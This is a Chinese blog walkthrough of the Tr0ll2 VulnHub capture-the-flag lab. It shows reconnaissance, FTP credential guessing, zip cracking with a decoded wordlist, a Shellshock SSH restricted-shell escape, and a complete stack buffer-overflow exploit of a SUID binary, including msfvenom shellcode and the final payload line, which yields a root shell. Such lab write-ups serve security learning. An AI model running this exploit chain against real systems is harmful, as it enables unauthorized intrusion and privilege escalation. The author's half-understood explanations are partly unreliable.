Tr0ll2 vulnhub靶场(缓冲区溢出)

kali攻击机ip:192.168.181.129

主机发现

nmap -sP 192.168.181.0/24

Tr0ll2 vulnhub靶场(缓冲区溢出)_第1张图片

端口扫描

nmap -p 1-65535 -A 192.168.181.155

Tr0ll2 vulnhub靶场(缓冲区溢出)_第2张图片

访问80端口

Tr0ll2 vulnhub靶场(缓冲区溢出)_第3张图片

nothing here,那就是有东西了

author:TR0ll,可能是用户名

Tr0ll2 vulnhub靶场(缓冲区溢出)_第4张图片
nikto再扫一下web服务

nikto -h 192.168.181.155

Tr0ll2 vulnhub靶场(缓冲区溢出)_第5张图片

目录扫描

dirb http://192.168.181.155

Tr0ll2 vulnhub靶场(缓冲区溢出)_第6张图片

组合起来是段话,暂时没想明白干嘛用的

Tr0ll2 vulnhub靶场(缓冲区溢出)_第7张图片

没用,换个角度

开启了ftp服务,但没啥信息,还是从这里入手试试吧

可惜了,没办法直接用anonymous登录

Tr0ll2 vulnhub靶场(缓冲区溢出)_第8张图片

试试上面发现的Tr0ll

密码为空不行,本来想放弃了,最后神使鬼差试了试用户名作为密码,居然对了

Name:Tr0ll password:Tr0ll

Tr0ll2 vulnhub靶场(缓冲区溢出)_第9张图片

居然还要密码,Tr0ll,noob都不是

Tr0ll2 vulnhub靶场(缓冲区溢出)_第10张图片

生无可恋=_=

但是,看着这个noob,越看越眼熟,好像在哪见过

回去翻翻后发现,在ftp登录时出现一次,在robots.txt又出现一次

不对劲,这斜杠,这,不会是个目录吧?!

在这里插入图片描述

被英文小作文蒙蔽了双眼,居然没反应过来=_=

Tr0ll2 vulnhub靶场(缓冲区溢出)_第11张图片

吓我一跳=_=

Tr0ll2 vulnhub靶场(缓冲区溢出)_第12张图片

确实只有一张图片,难道这图片另有玄机?

想起来很久很久以前,某位老师教导我,有一种木马,叫图片马,就是把payload写在php文件里面,然后和一个普通的图片文件拼在一起,重新生成一个图片文件,这个文件可以正常查看图片内容,但是查看图片源码会发现,里面拼接了php代码。

也就是说,有这么一种可能,会有什么信息隐藏在这张图片的源码之中

将文件下载下来,kali cat查看(windows也可以用记事本打开)

cat cat_the_troll.jpg

一般拼接都会在最后面,很遗憾,这个真的只是一张图片

Tr0ll2 vulnhub靶场(缓冲区溢出)_第13张图片

但是,robots.txt还有好多目录文件,说不定还有别的图片

Tr0ll2 vulnhub靶场(缓冲区溢出)_第14张图片

逐个查看,有些文件是打不开的,像这个

Tr0ll2 vulnhub靶场(缓冲区溢出)_第15张图片

经过我不断的尝试(逐渐疯狂),终于,又发现了一张一模一样的图片
表面一样不代表什么,让我们下载下来查看源码

Tr0ll2 vulnhub靶场(缓冲区溢出)_第16张图片

皇天不负有心人,在源码的最后,信息出现了

提示我们一个叫y0ur_self的东西,这语气,应该是目录文件

Tr0ll2 vulnhub靶场(缓冲区溢出)_第17张图片

果然

Tr0ll2 vulnhub靶场(缓冲区溢出)_第18张图片

这滚动条,吓我两跳
应该就是密码字典了

Tr0ll2 vulnhub靶场(缓冲区溢出)_第19张图片

复制下来,新建一个密码字典

 vim answer.txt

真的多,粘贴粘了半分钟

现在字典有了,需要找一个破解zip密码的工具

Fcrackzip

Fcrackzip是一款专门破解zip类型压缩文件密码的工具,工具小巧方便、破解速度快,能使用字典和指定字符集破解,适用于linux、mac
osx 系统。

FCrackZip 是Free/Fast Zip Crack(免费,快速Zip密码破解)的意思。

初次使用需要安装

apt-get install fcrackzip

Tr0ll2 vulnhub靶场(缓冲区溢出)_第20张图片

查看帮助文档

fcrackzip -h

Tr0ll2 vulnhub靶场(缓冲区溢出)_第21张图片

几个重要的参数

  • -b 暴力破解

  • -u 只输出爆破成功的密码,错误的不输出

  • -D 使用字典

  • -p 使用字符串作为初始密码/文件

fcrackzip -b -u -D -p  'answer.txt'  'lmao.zip'

没有结果

在这里插入图片描述

难道是密码字典有问题?

再次查看密码文件,发现几乎每个密码后面都有 ‘=’ 作为结尾

忽然反应过来,base64编码就是用=作为填充符的(关于base64的相关知识可以百度了解一下),这很明显就是经过base64编码过的密码文件

Tr0ll2 vulnhub靶场(缓冲区溢出)_第22张图片

使用kali自带的解码工具base64解码

Tr0ll2 vulnhub靶场(缓冲区溢出)_第23张图片

base64 -d answer.txt > passTr0ll2.txt

这一看就正常多了

Tr0ll2 vulnhub靶场(缓冲区溢出)_第24张图片

重新破解,这次有结果了

Tr0ll2 vulnhub靶场(缓冲区溢出)_第25张图片

拿着密码解压文件,解压出了一个noob文件

Tr0ll2 vulnhub靶场(缓冲区溢出)_第26张图片

cat noob

这可能叫做私钥或者公钥,我不是很清楚

Tr0ll2 vulnhub靶场(缓冲区溢出)_第27张图片

但是我知道这里需要密码,而且我没有密码

Tr0ll2 vulnhub靶场(缓冲区溢出)_第28张图片

而且我遇到了这个问题,无法使用公钥登录

sign_and_send_pubkey: no mutual signature supported

已解决

  • noob需要有读写权限权限(ls -l查看 ,rw就是可读写)

    在这里插入图片描述

  • cd ~/.ssh

  • vim config

  • 写入PubkeyAcceptedKeyTypes +ssh-rsa,保存

  • 重新开启一个终端

报错没了,可以使用公钥登录了

但是还是不成功

Tr0ll2 vulnhub靶场(缓冲区溢出)_第29张图片

利用shellshock漏洞,这是其中一种shell的绕过技术,-t 强制打开一个站点,这里打开/bin/bash终端

绕过Linux受限Shell环境的技巧 - linuxsec - 博客园 (cnblogs.com)

ssh -i noob [email protected] -t '() { :;};/bin/bash'

()和{}之间要留空格

在这里插入图片描述

需要密码,看不了

在这里插入图片描述

find / -perm -u=s -type f 2>/dev/null

重点是最后三个,nothing to see here,这不明摆着让我们看吗

Tr0ll2 vulnhub靶场(缓冲区溢出)_第30张图片

都是是可执行文件

在这里插入图片描述
先找找还有啥别的

查看当前目录文件,ls -a查看.开头的隐藏文件

在这里插入图片描述

查看日志文件,有个bof文件一直出现,还有一个叫gbd的工具不知道是啥

Tr0ll2 vulnhub靶场(缓冲区溢出)_第31张图片

查了一下,gbd是linux环境下的一个代码调试工具

现在已有的信息就是gbd,./bof,和三个可执行文件

不管了,先执行一下exe看看

door1,啥也没看出来

Tr0ll2 vulnhub靶场(缓冲区溢出)_第32张图片

door2,干嘛呢这是,给我干退出了=_=

Tr0ll2 vulnhub靶场(缓冲区溢出)_第33张图片

door3,两分钟困难模式?

在这里插入图片描述

好像意思就是不能ls

在这里插入图片描述

有点进行不下去了,上网找资料,发现是缓冲区溢出漏洞,我也是第一次听说,船新的领域

所以下列内容也可以说是我的学习笔记,仅供参考

缓冲区溢出(buffer
overflow),是针对程序设计缺陷,向程序输入缓冲区写入使之溢出的内容(通常是超过缓冲区能保存的最大数据量的数据),从而破坏程序运行、趁著中断之际并获取程序乃至系统的控制权。

缓冲区溢出漏洞原理简介 - 知乎 (zhihu.com)

很奇怪,网上运行的r00t结果和我运行出来的序号是不同的,难道这三个文件会互相变?

好吧真的会=_=

Linux od命令 | 菜鸟教程 (runoob.com)

od -S 1 用于查看文件中可读的字符

od -S 1 /nothing_to_see_here/choose_wisely/door2/r00t

在这里插入图片描述

这里有个熟悉的bof,人家说有这个文件的就是可以用于提权的

再次确认

od -S 1 /nothing_to_see_here/choose_wisely/door2/r00t | grep bof

在这里插入图片描述

gbd常用指令

(86条消息) gdb调试常见命令详细总结(附示例操作)_gdb 命令_快乐的学习的博客-CSDN博客

gdb /nothing_to_see_here/choose_wisely/door2/r00t

Tr0ll2 vulnhub靶场(缓冲区溢出)_第34张图片

检查是否有缓冲区溢出漏洞

r $(python -c 'print "A"*500')

确实有,0x41414141就是溢出发生的地址

在这里插入图片描述

segmentation fault 就是经常说的内存泄露/溢出: 当一个进程执行一个无效的内存引用,或发生断错误时,会触发
SIGSEGV信号
,内核默认的动作就是 终止该进程。

这里涉及到函数运行时堆栈,用大白话解释一下(当时上课没认真听讲,如有有错漏还请海涵)

先看几个名词:

  • esp:寄存器存放当前线程的栈顶指针。
  • ebp:寄存器存放当前线程的栈底指针。
  • eip:寄存器存放下一个CPU指令存放的内存地址,当CPU执行完当前的指令后,从EIP寄存器中读取下一条指令的内存地址,然后继续执行。

当一个函数运行结束后,需要有一个返回地址,它指示该函数执行完后该跳转到哪里继续执行下一个函数;这个返回地址就存储在eip中,也可以说是eip当前的地址;

假如一个函数的缓冲区有100个字节,返回地址就从第101个字节起始,到往后的n个字节结束(这里是4)。(是不是字节作单位啊我不造欸,看个意思就好了)

当我们的入参大于缓冲区容量时,若程序本身没有限制,就会发生缓冲区溢出,溢出的发生地点,就从eip开始,也就是说,eip的地址会被改写。比如这里,eip地址被改成了ascii码"AAAA",也就是十六进制的0x41414141(0x代表十六进制编码,41对应ascii中的A)

此时使用命令i r查看,可以看见eip地址确实是0x41414141,也印证了我前面的说法

使用命令 x/s 0x41414141查看当前内存地址中的值,显示out of bounds(越界),因为内存中根本就没有0x41414141这个地址,这个地址是我们为了测试乱输的

Tr0ll2 vulnhub靶场(缓冲区溢出)_第35张图片

我们想要利用这个溢出的空间,就需要知道它位于哪里;换个说法,就是位于我们的入参的第几位

上面这个AAAA都是一模一样的,辨别不了,我们需要一个可以识别位置的入参

接下来引入一个小工具,pattern_create.rb,它可以帮我们生成一个连续四位不同字符的字符串

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000

这里生成一个长度为1000的字符串

Tr0ll2 vulnhub靶场(缓冲区溢出)_第36张图片

入参

r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B

Tr0ll2 vulnhub靶场(缓冲区溢出)_第37张图片

溢出地址为0xa413969,可以再次利用这个工具反推该地址在这个字符串的所处位置

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 6a413969

在这里插入图片描述

前面有268个,就是说从第269个开始,就是eip的内存空间了

那么第273开始,是谁的空间呢?可以验证一下

 r $(python -c 'print "A"*268+"B"*4+"C"*8')

4个B是为了补上eip的空间;内存中有8个"C"的,就是我们要找的寄存器

在这里插入图片描述

i r

验证出来了,是esp

Tr0ll2 vulnhub靶场(缓冲区溢出)_第38张图片

找到shellcode插入的位置了,现在找badchars,badchars会导致程序运行终止,所以我们所写入的shellcode中不能存在badchars

这是一个可以生成1~255的十六进制字符的工具,能帮助我们查找所有的badchars
下载解压进入目录然后./badchars

GitHub - cytopia/badchars: Bad char generator to instruct encoders such as shikata-ga-nai to transform those to other chars.

在这里插入图片描述

r $(python -c 'print "A"*268+"B"*4+"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"')

Tr0ll2 vulnhub靶场(缓冲区溢出)_第39张图片

i r

Tr0ll2 vulnhub靶场(缓冲区溢出)_第40张图片

x/100xb        0xbffffa80
  • 100表示从当前地址显示往后100个单位字节的内容

  • x表示显示格式16进制

  • b表示单位为单字节,h表示双字节,w表示四字节,g表示八字节,不指定默认4bytes(位,就是半个字节)

可以看出来,从0x08往后程序就截止了,就是说0x09是badchars,需要把\0x09剔除再继续测试

Tr0ll2 vulnhub靶场(缓冲区溢出)_第41张图片

重复操作,直到能显示到最后一个字符

Tr0ll2 vulnhub靶场(缓冲区溢出)_第42张图片

Tr0ll2 vulnhub靶场(缓冲区溢出)_第43张图片

测试出来三个\x09\x0a\x20,可是\x00也不能要,\x00代表空字符,在程序中会被忽略掉

这里我把\x05替换成\x00,查看esp发现\x00已经没了,如果shellcode里面有\x00,也会被忽略,也就破坏了shellcode的完整性

Tr0ll2 vulnhub靶场(缓冲区溢出)_第44张图片

Tr0ll2 vulnhub靶场(缓冲区溢出)_第45张图片

最后得出坏字符集包括:

\x00\x09\x0a\x20

用msfvenom生成shellcode

msfvenom --platform linux -p linux/x86/exec -f py CMD="/bin/sh" -b '\x09\x0a\x20\x00'  -a x86

Tr0ll2 vulnhub靶场(缓冲区溢出)_第46张图片

使用env命令执行exe(其实好像不用也可以,后面再说)

-, -i, --ignore-environment 忽略环境变量

(A*268)+(esp起始地址)+(nop sled)+(shellcode)

 env - /nothing_to_see_here/choose_wisely/door2/r00t $(python -c 'print "A"*268 + "\x80\xfc\xff\xbf" + "\x90"*30 + "\xdd\xc4\xd9\x74\x24\xf4\x5a\x29\xc9\xb8\xe0\xf8\x9e\x1f\xb1\x0b\x31\x42\x1a\x03\x42\x1a\x83\xea\xfc\xe2\x15\x92\x95\x47\x4c\x31\xcc\x1f\x43\xd5\x99\x07\xf3\x36\xe9\xaf\x03\x21\x22\x52\x6a\xdf\xb5\x71\x3e\xf7\xce\x75\xbe\x07\xe0\x17\xd7\x69\xd1\xa4\x4f\x76\x7a\x18\x06\x97\x49\x1e"')

nop sled

nop sled
是一种可以破解栈随机化的缓冲区溢出攻击方式

栈随机化指运行时栈的起始地址为随机的,所以我们存放shellcode的esp的地址也会发生对应的改变

在shellcode前注入很长的 nop(\x90) 指令 (无操作,仅使程序计数器加一)序列,

程序计数器逐步加一,直到到达攻击代码的存在的地址

提权成功

在这里插入图片描述

Tr0ll2 vulnhub靶场(缓冲区溢出)_第47张图片

这串攻击代码其他部分借鉴自网上这个eip的地址"\x80\xfc\xff\xbf",应该是忽略了环境变量之后得到的,但是我做过测试(unset环境变量之后),运行出来的结果并不是这个地址

所有我觉得奇怪,这个eip的地址能不能变呢,是一定要这个地址吗?

所以我做了一点尝试,修改eip的值

使用我上面测试出来esp的地址,当nop sled不够长的时候,确实是无法提权的,但当我们增加\x90的个数后,是可以成功提权的

在这里插入图片描述

为了防止是偶然情况,我再尝试了一遍

Tr0ll2 vulnhub靶场(缓冲区溢出)_第48张图片

\x90个数为100时失败,为200时成功

证明只要nop sled枚举的地址足够多,成功几率还是很大的

在这里插入图片描述
还有一个env - ,我想试试不用行不行
结果和上面一样,在nop sled足够大的情况下,不用env - 也是可能成功的
在这里插入图片描述

在这里插入图片描述

o了 (研究了好多天呢)

你可能感兴趣的:(Vulnhub,服务器,网络,安全,linux)